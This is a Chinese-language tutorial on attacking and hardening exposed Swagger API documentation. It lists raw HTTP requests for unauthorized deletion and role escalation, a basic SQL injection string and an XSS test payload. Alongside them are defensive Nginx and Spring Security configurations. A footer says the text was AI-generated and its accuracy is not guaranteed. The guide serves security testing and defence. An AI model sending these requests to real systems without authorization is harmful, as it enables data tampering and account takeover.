Swagger漏洞利用实战
Swagger漏洞利用实战指南:攻击路径与防御方案
一、Swagger漏洞类型及风险解析
1. 未授权API文档暴露
- 漏洞原理:Swagger UI默认路径(如
/swagger-ui.html
、/v2/api-docs
)未配置访问权限,攻击者可直接查看完整的API接口列表、参数及数据结构。 - 风险影响:暴露后端逻辑、敏感接口(如用户管理、支付功能)、数据库字段命名规则。
2. 不安全HTTP方法启用
- 典型漏洞:
- PUT/DELETE方法滥用:攻击者通过PUT修改用户数据或DELETE删除资源。
- 未过滤的POST请求:允许插入恶意数据(如XSS payload)。
3. 认证与授权缺失
- 漏洞场景:
- 未集成OAuth2/JWT认证,或Token校验不严格。
- 未实施RBAC(基于角色的访问控制),导致越权操作。
4. 注入漏洞(SQLi/XSS)
- 触发条件:API接口未对输入参数过滤,例如通过
username
参数注入SQL语句或JavaScript代码。
二、Swagger漏洞利用实战步骤
步骤1:信息收集与接口枚举
- 探测Swagger文档路径:
curl http://target.com/swagger-ui.html curl http://target.com/v2/api-docs
- 自动化工具扫描:
- 使用Burp Suite扫描API端点,识别敏感接口(如
/api/admin/createUser
)。 - 通过Postman导入Swagger JSON文件,快速生成请求模板。
- 使用Burp Suite扫描API端点,识别敏感接口(如
步骤2:越权攻击与数据篡改
-
示例1:越权删除资源
DELETE /api/users/123 HTTP/1.1 Host: target.com Authorization: Bearer invalid_token
若返回
200 OK
,说明未验证Token有效性。 -
示例2:篡改用户权限
PUT /api/users/456/role HTTP/1.1 Content-Type: application/json {"role": "admin"}
步骤3:注入攻击测试
-
SQL注入:
GET /api/users?name=' OR 1=1-- HTTP/1.1
观察响应是否返回全部用户数据。
-
XSS漏洞:
POST /api/comments HTTP/1.1 Content-Type: application/json {"content": "<script>alert(1)</script>"}
三、Swagger漏洞防御方案
1. 访问权限控制
- 限制Swagger UI访问:
- 生产环境禁用Swagger文档,或仅允许内网IP访问。
- 使用Nginx配置IP白名单:
location /swagger-ui.html { allow 192.168.1.0/24; deny all; }
2. 禁用高风险HTTP方法
- Spring Boot配置示例:
@Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers(HttpMethod.DELETE, "/api/**").denyAll() .antMatchers(HttpMethod.PUT, "/api/**").hasRole("ADMIN"); } }
3. 强化认证与授权
- 集成JWT校验:
@GetMapping("/api/admin/users") @PreAuthorize("hasRole('ADMIN')") public List<User> getUsers() { ... }
4. 输入过滤与输出编码
- SQL注入防护:使用预编译语句(如MyBatis的
#{}
占位符)。 - XSS防护:对响应内容设置
Content-Type: application/json
,避免浏览器解析HTML。
5. 日志监控与告警
- 记录所有API请求的IP、方法、路径,对异常行为(如高频DELETE请求)触发告警。
四、自动化工具推荐
- 漏洞扫描:OWASP ZAP、Nuclei(模板:
swagger-detection.yaml
)。 - API测试:Postman、Swagger Editor(本地调试避免暴露)。
- 流量分析:Elasticsearch + Kibana实时监控API请求。
通过以上实战策略,可系统性挖掘Swagger相关漏洞,同时为企业API安全提供加固方向。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。